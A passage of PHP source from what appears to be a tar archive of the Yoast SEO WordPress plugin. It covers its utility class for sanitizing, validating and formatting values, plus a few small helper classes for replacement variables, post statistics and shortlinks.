		 * .htaccess and robots.txt is allowed.
		 *
		 * @param bool $allowed Whether file editing is allowed.
		 */
		return apply_filters( 'wpseo_allow_system_file_edit', $allowed );
	}

	/**
	 * Check if the web server is running on Apache or compatible (LiteSpeed).
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function is_apache() {
		if ( ! isset( $_SERVER['SERVER_SOFTWARE'] ) ) {
			return false;
		}

		$software = sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) );

		return stripos( $software, 'apache' ) !== false || stripos( $software, 'litespeed' ) !== false;
	}

	/**
	 * Check if the web server is running on Nginx.
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function is_nginx() {
		if ( ! isset( $_SERVER['SERVER_SOFTWARE'] ) ) {
			return false;
		}

		$software = sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) );

		return stripos( $software, 'nginx' ) !== false;
	}

	/**
	 * Check whether a url is relative.
	 *
	 * @since 1.8.0
	 *
	 * @param string $url URL string to check.
	 *
	 * @return bool
	 */
	public static function is_url_relative( $url ) {
		return YoastSEO()->helpers->url->is_relative( $url );
	}

	/**
	 * Recursively trim whitespace round a string value or of string values within an array.
	 * Only trims strings to avoid typecasting a variable (to string).
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to trim or array of values to trim.
	 *
	 * @return mixed Trimmed value or array of trimmed values.
	 */
	public static function trim_recursive( $value ) {
		if ( is_string( $value ) ) {
			$value = trim( $value );
		}
		elseif ( is_array( $value ) ) {
			$value = array_map( [ self::class, 'trim_recursive' ], $value );
		}

		return $value;
	}

	/**
	 * Emulate the WP native sanitize_text_field function in a %%variable%% safe way.
	 *
	 * Sanitize a string from user input or from the db.
	 *
	 * - Check for invalid UTF-8;
	 * - Convert single < characters to entity;
	 * - Strip all tags;
	 * - Remove line breaks, tabs and extra white space;
	 * - Strip octets - BUT DO NOT REMOVE (part of) VARIABLES WHICH WILL BE REPLACED.
	 *
	 * @link https://core.trac.wordpress.org/browser/trunk/src/wp-includes/formatting.php for the original.
	 *
	 * @since 1.8.0
	 *
	 * @param string $value String value to sanitize.
	 *
	 * @return string
	 */
	public static function sanitize_text_field( $value ) {
		$filtered = wp_check_invalid_utf8( $value );

		if ( strpos( $filtered, '<' ) !== false ) {
			$filtered = wp_pre_kses_less_than( $filtered );
			// This will strip extra whitespace for us.
			$filtered = wp_strip_all_tags( $filtered, true );
		}
		else {
			$filtered = trim( preg_replace( '`[\r\n\t ]+`', ' ', $filtered ) );
		}

		$found = false;
		while ( preg_match( '`[^%](%[a-f0-9]{2})`i', $filtered, $match ) ) {
			$filtered = str_replace( $match[1], '', $filtered );
			$found    = true;
		}
		unset( $match );

		if ( $found ) {
			// Strip out the whitespace that may now exist after removing the octets.
			$filtered = trim( preg_replace( '` +`', ' ', $filtered ) );
		}

		/**
		 * Filter a sanitized text field string.
		 *
		 * @since WP 2.9.0
		 *
		 * @param string $filtered The sanitized string.
		 * @param string $str      The string prior to being sanitized.
		 */
		return apply_filters( 'sanitize_text_field', $filtered, $value ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Using WP native filter.
	}

	/**
	 * Sanitize a url for saving to the database.
	 * Not to be confused with the old native WP function.
	 *
	 * @since 1.8.0
	 *
	 * @param string $value             String URL value to sanitize.
	 * @param array  $allowed_protocols Optional set of allowed protocols.
	 *
	 * @return string
	 */
	public static function sanitize_url( $value, $allowed_protocols = [ 'http', 'https' ] ) {

		$url   = '';
		$parts = wp_parse_url( $value );

		if ( isset( $parts['scheme'], $parts['host'] ) ) {
			$url = $parts['scheme'] . '://';

			if ( isset( $parts['user'] ) ) {
				$url .= rawurlencode( $parts['user'] );
				$url .= isset( $parts['pass'] ) ? ':' . rawurlencode( $parts['pass'] ) : '';
				$url .= '@';
			}

			$parts['host'] = preg_replace(
				'`[^a-z0-9-.:\[\]\\x80-\\xff]`',
				'',
				strtolower( $parts['host'] )
			);

			$url .= $parts['host'] . ( isset( $parts['port'] ) ? ':' . intval( $parts['port'] ) : '' );
		}

		if ( isset( $parts['path'] ) && strpos( $parts['path'], '/' ) === 0 ) {
			$path = explode( '/', wp_strip_all_tags( $parts['path'] ) );
			$path = self::sanitize_encoded_text_field( $path );
			$url .= str_replace( '%40', '@', implode( '/', $path ) );
		}

		if ( ! $url ) {
			return '';
		}

		if ( isset( $parts['query'] ) ) {
			wp_parse_str( $parts['query'], $parsed_query );

			$parsed_query = array_combine(
				self::sanitize_encoded_text_field( array_keys( $parsed_query ) ),
				self::sanitize_encoded_text_field( array_values( $parsed_query ) )
			);

			$url = add_query_arg( $parsed_query, $url );
		}

		if ( isset( $parts['fragment'] ) ) {
			$url .= '#' . self::sanitize_encoded_text_field( $parts['fragment'] );
		}

		if ( strpos( $url, '%' ) !== false ) {
			$url = preg_replace_callback(
				'`%[a-fA-F0-9]{2}`',
				static function ( $octects ) {
					return strtolower( $octects[0] );
				},
				$url
			);
		}

		return esc_url_raw( $url, $allowed_protocols );
	}

	/**
	 * Decode, sanitize and encode the array of strings or the string.
	 *
	 * @since 13.3
	 *
	 * @param array|string $value The value to sanitize and encode.
	 *
	 * @return array|string The sanitized value.
	 */
	public static function sanitize_encoded_text_field( $value ) {
		if ( is_array( $value ) ) {
			return array_map( [ self::class, 'sanitize_encoded_text_field' ], $value );
		}

		return rawurlencode( sanitize_text_field( rawurldecode( $value ) ) );
	}

	/**
	 * Validate a value as boolean.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to validate.
	 *
	 * @return bool
	 */
	public static function validate_bool( $value ) {
		if ( ! isset( self::$has_filters ) ) {
			self::$has_filters = extension_loaded( 'filter' );
		}

		if ( self::$has_filters ) {
			return filter_var( $value, FILTER_VALIDATE_BOOLEAN );
		}
		else {
			return self::emulate_filter_bool( $value );
		}
	}

	/**
	 * Cast a value to bool.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to cast.
	 *
	 * @return bool
	 */
	public static function emulate_filter_bool( $value ) {
		$true  = [
			'1',
			'true',
			'True',
			'TRUE',
			'y',
			'Y',
			'yes',
			'Yes',
			'YES',
			'on',
			'On',
			'ON',
		];
		$false = [
			'0',
			'false',
			'False',
			'FALSE',
			'n',
			'N',
			'no',
			'No',
			'NO',
			'off',
			'Off',
			'OFF',
		];

		if ( is_bool( $value ) ) {
			return $value;
		}
		elseif ( is_int( $value ) && ( $value === 0 || $value === 1 ) ) {
			return (bool) $value;
		}
		elseif ( ( is_float( $value ) && ! is_nan( $value ) ) && ( $value === (float) 0 || $value === (float) 1 ) ) {
			return (bool) $value;
		}
		elseif ( is_string( $value ) ) {
			$value = trim( $value );
			if ( in_array( $value, $true, true ) ) {
				return true;
			}
			elseif ( in_array( $value, $false, true ) ) {
				return false;
			}
			else {
				return false;
			}
		}

		return false;
	}

	/**
	 * Validate a value as integer.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to validate.
	 *
	 * @return int|bool Int or false in case of failure to convert to int.
	 */
	public static function validate_int( $value ) {
		if ( ! isset( self::$has_filters ) ) {
			self::$has_filters = extension_loaded( 'filter' );
		}

		if ( self::$has_filters ) {
			return filter_var( $value, FILTER_VALIDATE_INT );
		}
		else {
			return self::emulate_filter_int( $value );
		}
	}

	/**
	 * Cast a value to integer.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to cast.
	 *
	 * @return int|bool
	 */
	public static function emulate_filter_int( $value ) {
		if ( is_int( $value ) ) {
			return $value;
		}
		elseif ( is_float( $value ) ) {
			// phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
			if ( (int) $value == $value && ! is_nan( $value ) ) {
				return (int) $value;
			}
			else {
				return false;
			}
		}
		elseif ( is_string( $value ) ) {
			$value = trim( $value );
			if ( $value === '' ) {
				return false;
			}
			elseif ( ctype_digit( $value ) ) {
				return (int) $value;
			}
			elseif ( strpos( $value, '-' ) === 0 && ctype_digit( substr( $value, 1 ) ) ) {
				return (int) $value;
			}
			else {
				return false;
			}
		}

		return false;
	}

	/**
	 * Clears the WP or W3TC cache depending on which is used.
	 *
	 * @since 1.8.0
	 *
	 * @return void
	 */
	public static function clear_cache() {
		if ( function_exists( 'w3tc_flush_posts' ) ) {
			w3tc_flush_posts();
		}
		elseif ( function_exists( 'wp_cache_clear_cache' ) ) {
			wp_cache_clear_cache();
		}
	}

	/**
	 * Clear rewrite rules.
	 *
	 * @since 1.8.0
	 *
	 * @return void
	 */
	public static function clear_rewrites() {
		update_option( 'rewrite_rules', '' );
	}

	/**
	 * Do simple reliable math calculations without the risk of wrong results.
	 *
	 * In the rare case that the bcmath extension would not be loaded, it will return the normal calculation results.
	 *
	 * @link http://floating-point-gui.de/
	 * @link http://php.net/language.types.float.php See the big red warning.
	 *
	 * @since 1.5.0
	 * @since 1.8.0 Moved from stand-alone function to this class.
	 *
	 * @param mixed  $number1   Scalar (string/int/float/bool).
	 * @param string $action    Calculation action to execute. Valid input:
	 *                          '+' or 'add' or 'addition',
	 *                          '-' or 'sub' or 'subtract',
	 *                          '*' or 'mul' or 'multiply',
	 *                          '/' or 'div' or 'divide',
	 *                          '%' or 'mod' or 'modulus'
	 *                          '=' or 'comp' or 'compare'.
	 * @param mixed  $number2   Scalar (string/int/float/bool).
	 * @param bool   $round     Whether or not to round the result. Defaults to false.
	 *                          Will be disregarded for a compare operation.
	 * @param int    $decimals  Decimals for rounding operation. Defaults to 0.
	 * @param int    $precision Calculation precision. Defaults to 10.
	 *
	 * @return mixed Calculation Result or false if either or the numbers isn't scalar or
	 *               an invalid operation was passed.
	 *               - For compare the result will always be an integer.
	 *               - For all other operations, the result will either be an integer (preferred)
	 *                 or a float.
	 */
	public static function calc( $number1, $action, $number2, $round = false, $decimals = 0, $precision = 10 ) {
		static $bc;

		if ( ! is_scalar( $number1 ) || ! is_scalar( $number2 ) ) {
			return false;
		}

		if ( ! isset( $bc ) ) {
			$bc = extension_loaded( 'bcmath' );
		}

		if ( $bc ) {
			$number1 = number_format( $number1, 10, '.', '' );
			$number2 = number_format( $number2, 10, '.', '' );
		}

		$result  = null;
		$compare = false;

		switch ( $action ) {
			case '+':
			case 'add':
			case 'addition':
				$result = ( $bc ) ? bcadd( $number1, $number2, $precision ) /* string */ : ( $number1 + $number2 );
				break;

			case '-':
			case 'sub':
			case 'subtract':
				$result = ( $bc ) ? bcsub( $number1, $number2, $precision ) /* string */ : ( $number1 - $number2 );
				break;

			case '*':
			case 'mul':
			case 'multiply':
				$result = ( $bc ) ? bcmul( $number1, $number2, $precision ) /* string */ : ( $number1 * $number2 );
				break;

			case '/':
			case 'div':
			case 'divide':
				if ( $bc ) {
					$result = bcdiv( $number1, $number2, $precision ); // String, or NULL if right_operand is 0.
				}
				elseif ( $number2 != 0 ) { // phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 / $number2 );
				}

				if ( ! isset( $result ) ) {
					$result = 0;
				}
				break;

			case '%':
			case 'mod':
			case 'modulus':
				if ( $bc ) {
					$result = bcmod( $number1, $number2 ); // String, or NULL if modulus is 0.
				}
				elseif ( $number2 != 0 ) { // phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 % $number2 );
				}

				if ( ! isset( $result ) ) {
					$result = 0;
				}
				break;

			case '=':
			case 'comp':
			case 'compare':
				$compare = true;
				if ( $bc ) {
					$result = bccomp( $number1, $number2, $precision ); // Returns int 0, 1 or -1.
				}
				else {
					// phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 == $number2 ) ? 0 : ( ( $number1 > $number2 ) ? 1 : -1 );
				}
				break;
		}

		if ( isset( $result ) ) {
			if ( $compare === false ) {
				if ( $round === true ) {
					$result = round( floatval( $result ), $decimals );
					if ( $decimals === 0 ) {
						$result = (int) $result;
					}
				}
				else {
					// phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( intval( $result ) == $result ) ? intval( $result ) : floatval( $result );
				}
			}

			return $result;
		}

		return false;
	}

	/**
	 * Trim whitespace and NBSP (Non-breaking space) from string.
	 *
	 * @since 2.0.0
	 *
	 * @param string $text String input to trim.
	 *
	 * @return string
	 */
	public static function trim_nbsp_from_string( $text ) {
		$find = [ '&nbsp;', chr( 0xC2 ) . chr( 0xA0 ) ];
		$text = str_replace( $find, ' ', $text );
		$text = trim( $text );

		return $text;
	}

	/**
	 * Check if a string is a valid datetime.
	 *
	 * @since 2.0.0
	 *
	 * @param string $datetime String input to check as valid input for DateTime class.
	 *
	 * @return bool
	 */
	public static function is_valid_datetime( $datetime ) {
		return YoastSEO()->helpers->date->is_valid_datetime( $datetime );
	}

	/**
	 * Format the URL to be sure it is okay for using as a redirect url.
	 *
	 * This method will parse the URL and combine them in one string.
	 *
	 * @since 2.3.0
	 *
	 * @param string $url URL string.
	 *
	 * @return mixed
	 */
	public static function format_url( $url ) {
		$parsed_url = wp_parse_url( $url );

		$formatted_url = '';
		if ( ! empty( $parsed_url['path'] ) ) {
			$formatted_url = $parsed_url['path'];
		}

		// Prepend a slash if first char != slash.
		if ( stripos( $formatted_url, '/' ) !== 0 ) {
			$formatted_url = '/' . $formatted_url;
		}

		// Append 'query' string if it exists.
		if ( ! empty( $parsed_url['query'] ) ) {
			$formatted_url .= '?' . $parsed_url['query'];
		}

		return apply_filters( 'wpseo_format_admin_url', $formatted_url );
	}

	/**
	 * Retrieves the sitename.
	 *
	 * @since 3.0.0
	 *
	 * @return string
	 */
	public static function get_site_name() {
		return YoastSEO()->helpers->site->get_site_name();
	}

	/**
	 * Check if the current opened page is a Yoast SEO page.
	 *
	 * @since 3.0.0
	 *
	 * @return bool
	 */
	public static function is_yoast_seo_page() {
		return YoastSEO()->helpers->current_page->is_yoast_seo_page();
	}

	/**
	 * Check if the current opened page belongs to Yoast SEO Free.
	 *
	 * @since 3.3.0
	 *
	 * @param string $current_page The current page the user is on.
	 *
	 * @return bool
	 */
	public static function is_yoast_seo_free_page( $current_page ) {
		$yoast_seo_free_pages = [
			'wpseo_dashboard',
			'wpseo_tools',
			'wpseo_search_console',
			'wpseo_licenses',
		];

		return in_array( $current_page, $yoast_seo_free_pages, true );
	}

	/**
	 * Determine if Yoast SEO is in development mode?
	 *
	 * Inspired by JetPack (https://github.com/Automattic/jetpack/blob/master/class.jetpack.php#L1383-L1406).
	 *
	 * @since 3.0.0
	 *
	 * @return bool
	 */
	public static function is_development_mode() {
		$development_mode = false;

		if ( defined( 'YOAST_ENVIRONMENT' ) && YOAST_ENVIRONMENT === 'development' ) {
			$development_mode = true;
		}
		elseif ( defined( 'WPSEO_DEBUG' ) ) {
			$development_mode = WPSEO_DEBUG;
		}
		elseif ( site_url() && strpos( site_url(), '.' ) === false ) {
			$development_mode = true;
		}

		/**
		 * Filter the Yoast SEO development mode.
		 *
		 * @since 3.0
		 *
		 * @param bool $development_mode Is Yoast SEOs development mode active.
		 */
		return apply_filters( 'yoast_seo_development_mode', $development_mode );
	}

	/**
	 * Retrieve home URL with proper trailing slash.
	 *
	 * @since 3.3.0
	 *
	 * @param string      $path   Path relative to home URL.
	 * @param string|null $scheme Scheme to apply.
	 *
	 * @return string Home URL with optional path, appropriately slashed if not.
	 */
	public static function home_url( $path = '', $scheme = null ) {
		return YoastSEO()->helpers->url->home( $path, $scheme );
	}

	/**
	 * Checks if the WP-REST-API is available.
	 *
	 * @since 3.6
	 * @since 3.7 Introduced the $minimum_version parameter.
	 *
	 * @param string $minimum_version The minimum version the API should be.
	 *
	 * @return bool Returns true if the API is available.
	 */
	public static function is_api_available( $minimum_version = '2.0' ) {
		return ( defined( 'REST_API_VERSION' )
			&& version_compare( REST_API_VERSION, $minimum_version, '>=' ) );
	}

	/**
	 * Determine whether or not the metabox should be displayed for a post type.
	 *
	 * @param string|null $post_type Optional. The post type to check the visibility of the metabox for.
	 *
	 * @return bool Whether or not the metabox should be displayed.
	 */
	protected static function display_post_type_metabox( $post_type = null ) {
		if ( ! isset( $post_type ) ) {
			$post_type = get_post_type();
		}

		if ( ! isset( $post_type ) || ! WPSEO_Post_Type::is_post_type_accessible( $post_type ) ) {
			return false;
		}

		if ( $post_type === 'attachment' && WPSEO_Options::get( 'disable-attachment' ) ) {
			return false;
		}

		return apply_filters( 'wpseo_enable_editor_features_' . $post_type, WPSEO_Options::get( 'display-metabox-pt-' . $post_type ) );
	}

	/**
	 * Determine whether or not the metabox should be displayed for a taxonomy.
	 *
	 * @param string|null $taxonomy Optional. The post type to check the visibility of the metabox for.
	 *
	 * @return bool Whether or not the metabox should be displayed.
	 */
	protected static function display_taxonomy_metabox( $taxonomy = null ) {
		if ( ! isset( $taxonomy ) || ! in_array( $taxonomy, get_taxonomies( [ 'public' => true ], 'names' ), true ) ) {
			return false;
		}

		return WPSEO_Options::get( 'display-metabox-tax-' . $taxonomy );
	}

	/**
	 * Determines whether the metabox is active for the given identifier and type.
	 *
	 * @param string $identifier The identifier to check for.
	 * @param string $type       The type to check for.
	 *
	 * @return bool Whether or not the metabox is active.
	 */
	public static function is_metabox_active( $identifier, $type ) {
		if ( $type === 'post_type' ) {
			return self::display_post_type_metabox( $identifier );
		}

		if ( $type === 'taxonomy' ) {
			return self::display_taxonomy_metabox( $identifier );
		}

		return false;
	}

	/**
	 * Determines whether the plugin is active for the entire network.
	 *
	 * @return bool Whether the plugin is network-active.
	 */
	public static function is_plugin_network_active() {
		return YoastSEO()->helpers->url->is_plugin_network_active();
	}

	/**
	 * Gets the type of the current post.
	 *
	 * @return string The post type, or an empty string.
	 */
	public static function get_post_type() {
		$wp_screen = get_current_screen();

		if ( $wp_screen !== null && ! empty( $wp_screen->post_type ) ) {
			return $wp_screen->post_type;
		}
		return '';
	}

	/**
	 * Gets the type of the current page.
	 *
	 * @return string Returns 'post' if the current page is a post edit page. Taxonomy in other cases.
	 */
	public static function get_page_type() {
		global $pagenow;
		if ( WPSEO_Metabox::is_post_edit( $pagenow ) ) {
			return 'post';
		}

		return 'taxonomy';
	}

	/**
	 * Getter for the Adminl10n array. Applies the wpseo_admin_l10n filter.
	 *
	 * @return array The Adminl10n array.
	 */
	public static function get_admin_l10n() {
		$post_type = self::get_post_type();
		$page_type = self::get_page_type();

		$label_object = false;
		$no_index     = false;

		if ( $page_type === 'post' ) {
			$label_object = get_post_type_object( $post_type );
			$no_index     = WPSEO_Options::get( 'noindex-' . $post_type, false );
		}
		else {
			$label_object = WPSEO_Taxonomy::get_labels();

			$wp_screen = get_current_screen();

			if ( $wp_screen !== null && ! empty( $wp_screen->taxonomy ) ) {
				$taxonomy_slug = $wp_screen->taxonomy;
				$no_index      = WPSEO_Options::get( 'noindex-tax-' . $taxonomy_slug, false );
			}
		}

		$wpseo_admin_l10n = [
			'displayAdvancedTab'    => WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) || ! WPSEO_Options::get( 'disableadvanced_meta' ),
			'noIndex'               => (bool) $no_index,
			'isPostType'            => (bool) get_post_type(),
			'postType'              => get_post_type(),
			'postTypeNamePlural'    => ( $page_type === 'post' ) ? $label_object->label : $label_object->name,
			'postTypeNameSingular'  => ( $page_type === 'post' ) ? $label_object->labels->singular_name : $label_object->singular_name,
			'isBreadcrumbsDisabled' => WPSEO_Options::get( 'breadcrumbs-enable', false ) !== true && ! current_theme_supports( 'yoast-seo-breadcrumbs' ),
			'isAiFeatureActive'     => (bool) WPSEO_Options::get( 'enable_ai_generator' ),
		];

		$additional_entries = apply_filters( 'wpseo_admin_l10n', [] );
		if ( is_array( $additional_entries ) ) {
			$wpseo_admin_l10n = array_merge( $wpseo_admin_l10n, $additional_entries );
		}

		return $wpseo_admin_l10n;
	}

	/**
	 * Retrieves the analysis worker log level. Defaults to errors only.
	 *
	 * Uses bool YOAST_SEO_DEBUG as flag to enable logging. Off equals ERROR.
	 * Uses string YOAST_SEO_DEBUG_ANALYSIS_WORKER as log level for the Analysis
	 * Worker. Defaults to INFO.
	 * Can be: TRACE, DEBUG, INFO, WARN or ERROR.
	 *
	 * @return string The log level to use.
	 */
	public static function get_analysis_worker_log_level() {
		if ( defined( 'YOAST_SEO_DEBUG' ) && YOAST_SEO_DEBUG ) {
			return defined( 'YOAST_SEO_DEBUG_ANALYSIS_WORKER' ) ? YOAST_SEO_DEBUG_ANALYSIS_WORKER : 'INFO';
		}

		return 'ERROR';
	}

	/**
	 * Returns the unfiltered home URL.
	 *
	 * In case WPML is installed, returns the original home_url and not the WPML version.
	 * In case of a multisite setup we return the network_home_url.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string The home url.
	 */
	public static function get_home_url() {
		return YoastSEO()->helpers->url->network_safe_home_url();
	}

	/**
	 * Prepares data for outputting as JSON.
	 *
	 * @param array $data The data to format.
	 *
	 * @return false|string The prepared JSON string.
	 */
	public static function format_json_encode( $data ) {
		$flags = ( JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );

		if ( self::is_development_mode() ) {
			$flags = ( $flags | JSON_PRETTY_PRINT );

			/**
			 * Filter the Yoast SEO development mode.
			 *
			 * @param array $data Allows filtering of the JSON data for debug purposes.
			 */
			$data = apply_filters( 'wpseo_debug_json_data', $data );
		}

		// phpcs:ignore Yoast.Yoast.JsonEncodeAlternative.FoundWithAdditionalParams -- This is the definition of format_json_encode.
		return wp_json_encode( $data, $flags );
	}

	/**
	 * Extends the allowed post tags with accessibility-related attributes.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param array $allowed_post_tags The allowed post tags.
	 *
	 * @return array The allowed tags including post tags, input tags and select tags.
	 */
	public static function extend_kses_post_with_a11y( $allowed_post_tags ) {
		static $a11y_tags;

		if ( isset( $a11y_tags ) === false ) {
			$a11y_tags = [
				'button'   => [
					'aria-expanded' => true,
					'aria-controls' => true,
				],
				'div'      => [
					'tabindex' => true,
				],
				// Below are attributes that are needed for backwards compatibility (WP < 5.1).
				'span'     => [
					'aria-hidden' => true,
				],
				'input'    => [
					'aria-describedby' => true,
				],
				'select'   => [
					'aria-describedby' => true,
				],
				'textarea' => [
					'aria-describedby' => true,
				],
			];

			// Add the global allowed attributes to each html element.
			$a11y_tags = array_map( '_wp_add_global_attributes', $a11y_tags );
		}

		return array_merge_recursive( $allowed_post_tags, $a11y_tags );
	}

	/**
	 * Extends the allowed post tags with input, select and option tags.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param array $allowed_post_tags The allowed post tags.
	 *
	 * @return array The allowed tags including post tags, input tags, select tags and option tags.
	 */
	public static function extend_kses_post_with_forms( $allowed_post_tags ) {
		static $input_tags;

		if ( isset( $input_tags ) === false ) {
			$input_tags = [
				'input' => [
					'accept'          => true,
					'accesskey'       => true,
					'align'           => true,
					'alt'             => true,
					'autocomplete'    => true,
					'autofocus'       => true,
					'checked'         => true,
					'contenteditable' => true,
					'dirname'         => true,
					'disabled'        => true,
					'draggable'       => true,
					'dropzone'        => true,
					'form'            => true,
					'formaction'      => true,
					'formenctype'     => true,
					'formmethod'      => true,
					'formnovalidate'  => true,
					'formtarget'      => true,
					'height'          => true,
					'hidden'          => true,
					'lang'            => true,
					'list'            => true,
					'max'             => true,
					'maxlength'       => true,
					'min'             => true,
					'multiple'        => true,
					'name'            => true,
					'pattern'         => true,
					'placeholder'     => true,
					'readonly'        => true,
					'required'        => true,
					'size'            => true,
					'spellcheck'      => true,
					'src'             => true,
					'step'            => true,
					'tabindex'        => true,
					'translate'       => true,
					'type'            => true,
					'value'           => true,
					'width'           => true,

					/*
					 * Below are attributes that are needed for backwards compatibility (WP < 5.1).
					 * They are used for the social media image in the metabox.
					 * These can be removed once we move to the React versions of the social previews.
					 */
					'data-target'     => true,
					'data-target-id'  => true,
				],
				'select' => [
					'accesskey'       => true,
					'autofocus'       => true,
					'contenteditable' => true,
					'disabled'        => true,
					'draggable'       => true,
					'dropzone'        => true,
					'form'            => true,
					'hidden'          => true,
					'lang'            => true,
					'multiple'        => true,
					'name'            => true,
					'onblur'          => true,
					'onchange'        => true,
					'oncontextmenu'   => true,
					'onfocus'         => true,
					'oninput'         => true,
					'oninvalid'       => true,
					'onreset'         => true,
					'onsearch'        => true,
					'onselect'        => true,
					'onsubmit'        => true,
					'required'        => true,
					'size'            => true,
					'spellcheck'      => true,
					'tabindex'        => true,
					'translate'       => true,
				],
				'option' => [
					'class'    => true,
					'disabled' => true,
					'id'       => true,
					'label'    => true,
					'selected' => true,
					'value'    => true,
				],
			];

			// Add the global allowed attributes to each html element.
			$input_tags = array_map( '_wp_add_global_attributes', $input_tags );
		}

		return array_merge_recursive( $allowed_post_tags, $input_tags );
	}

	/**
	 * Gets an array of enabled features.
	 *
	 * @return string[] The array of enabled features.
	 */
	public static function retrieve_enabled_features() {
		/**
		 * The feature flag integration.
		 *
		 * @var Feature_Flag_Integration $feature_flag_integration;
		 */
		$feature_flag_integration = YoastSEO()->classes->get( Feature_Flag_Integration::class );
		return $feature_flag_integration->get_enabled_features();
	}
}
wordpress-seo/inc/class-wpseo-replacement-variable.php000064400000002537147510273100017171 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   7.7
 */

/**
 * Class WPSEO_Replacement_Variable.
 *
 * This class stores the data of a single snippet variable.
 */
class WPSEO_Replacement_Variable {

	/**
	 * The variable to use.
	 *
	 * @var string
	 */
	protected $variable;

	/**
	 * The label of the replacement variable.
	 *
	 * @var string
	 */
	protected $label;

	/**
	 * The description of the replacement variable.
	 *
	 * @var string
	 */
	protected $description;

	/**
	 * WPSEO_Replacement_Variable constructor.
	 *
	 * @param string $variable    The variable that is replaced.
	 * @param string $label       The label of the replacement variable.
	 * @param string $description The description of the replacement variable.
	 */
	public function __construct( $variable, $label, $description ) {
		$this->variable    = $variable;
		$this->label       = $label;
		$this->description = $description;
	}

	/**
	 * Returns the variable to use.
	 *
	 * @return string
	 */
	public function get_variable() {
		return $this->variable;
	}

	/**
	 * Returns the label of the replacement variable.
	 *
	 * @return string
	 */
	public function get_label() {
		return $this->label;
	}

	/**
	 * Returns the description of the replacement variable.
	 *
	 * @return string
	 */
	public function get_description() {
		return $this->description;
	}
}
wordpress-seo/inc/wpseo-functions-deprecated.php000064400000000104147510273100016076 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Deprecated
 */
wordpress-seo/inc/interface-wpseo-wordpress-integration.php000064400000000534147510273100020306 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

if ( ! interface_exists( 'WPSEO_WordPress_Integration' ) ) {
	/**
	 * An interface for registering integrations with WordPress.
	 */
	interface WPSEO_WordPress_Integration {

		/**
		 * Registers all hooks to WordPress.
		 *
		 * @return void
		 */
		public function register_hooks();
	}
}
wordpress-seo/inc/class-wpseo-statistics.php000064400000002643147510273100015277 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

/**
 * Class that generates interesting statistics about things.
 */
class WPSEO_Statistics {

	/**
	 * Returns the post count for a certain SEO rank.
	 *
	 * @todo Merge/DRY this with the logic virtually the same in WPSEO_Metabox::column_sort_orderby().
	 *
	 * @param WPSEO_Rank $rank The SEO rank to get the post count for.
	 *
	 * @return int
	 */
	public function get_post_count( $rank ) {
		if ( $rank->get_rank() === WPSEO_Rank::NO_FOCUS ) {
			$posts = [
				'meta_query' => [
					'relation' => 'OR',
					[
						'key'     => WPSEO_Meta::$meta_prefix . 'focuskw',
						'value'   => 'needs-a-value-anyway',
						'compare' => 'NOT EXISTS',
					],
				],
			];
		}
		elseif ( $rank->get_rank() === WPSEO_Rank::NO_INDEX ) {
			$posts = [
				'meta_key'   => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex',
				'meta_value' => '1',
				'compare'    => '=',
			];
		}
		else {
			$posts = [
				'meta_key'     => WPSEO_Meta::$meta_prefix . 'linkdex',
				'meta_value'   => [ $rank->get_starting_score(), $rank->get_end_score() ],
				'meta_compare' => 'BETWEEN',
				'meta_type'    => 'NUMERIC',
			];
		}

		$posts['fields']      = 'ids';
		$posts['post_status'] = 'publish';

		if ( current_user_can( 'edit_others_posts' ) === false ) {
			$posts['author'] = get_current_user_id();
		}

		$posts = new WP_Query( $posts );

		return (int) $posts->found_posts;
	}
}
wordpress-seo/inc/index.php000064400000000046147510273100011751 0ustar00<?php
/**
 * Nothing to see here.
 */
wordpress-seo/inc/class-wpseo-shortlinker.php000064400000002154147510273100015446 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

/**
 * Helps with creating shortlinks in the plugin.
 */
class WPSEO_Shortlinker {

	/**
	 * Builds a URL to use in the plugin as shortlink.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return string The final URL.
	 */
	public function build_shortlink( $url ) {
		return YoastSEO()->helpers->short_link->build( $url );
	}

	/**
	 * Returns a version of the URL with a utm_content with the current version.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return string The final URL.
	 */
	public static function get( $url ) {
		return YoastSEO()->helpers->short_link->get( $url );
	}

	/**
	 * Echoes a version of the URL with a utm_content with the current version.
	 *
	 * @param string $url The URL to build upon.
	 *
	 * @return void
	 */
	public static function show( $url ) {
		YoastSEO()->helpers->short_link->show( $url );
	}

	/**
	 * Gets the shortlink's query params.
	 *
	 * @return array The shortlink's query params.
	 */
	public static function get_query_params() {
		return YoastSEO()->helpers->short_link->get_query_params();
	}
}
wordpress-seo/inc/class-addon-manager.php000064400000064105147510273100014450 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Inc
 */

use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Represents the addon manager.
 */
class WPSEO_Addon_Manager {

	/**
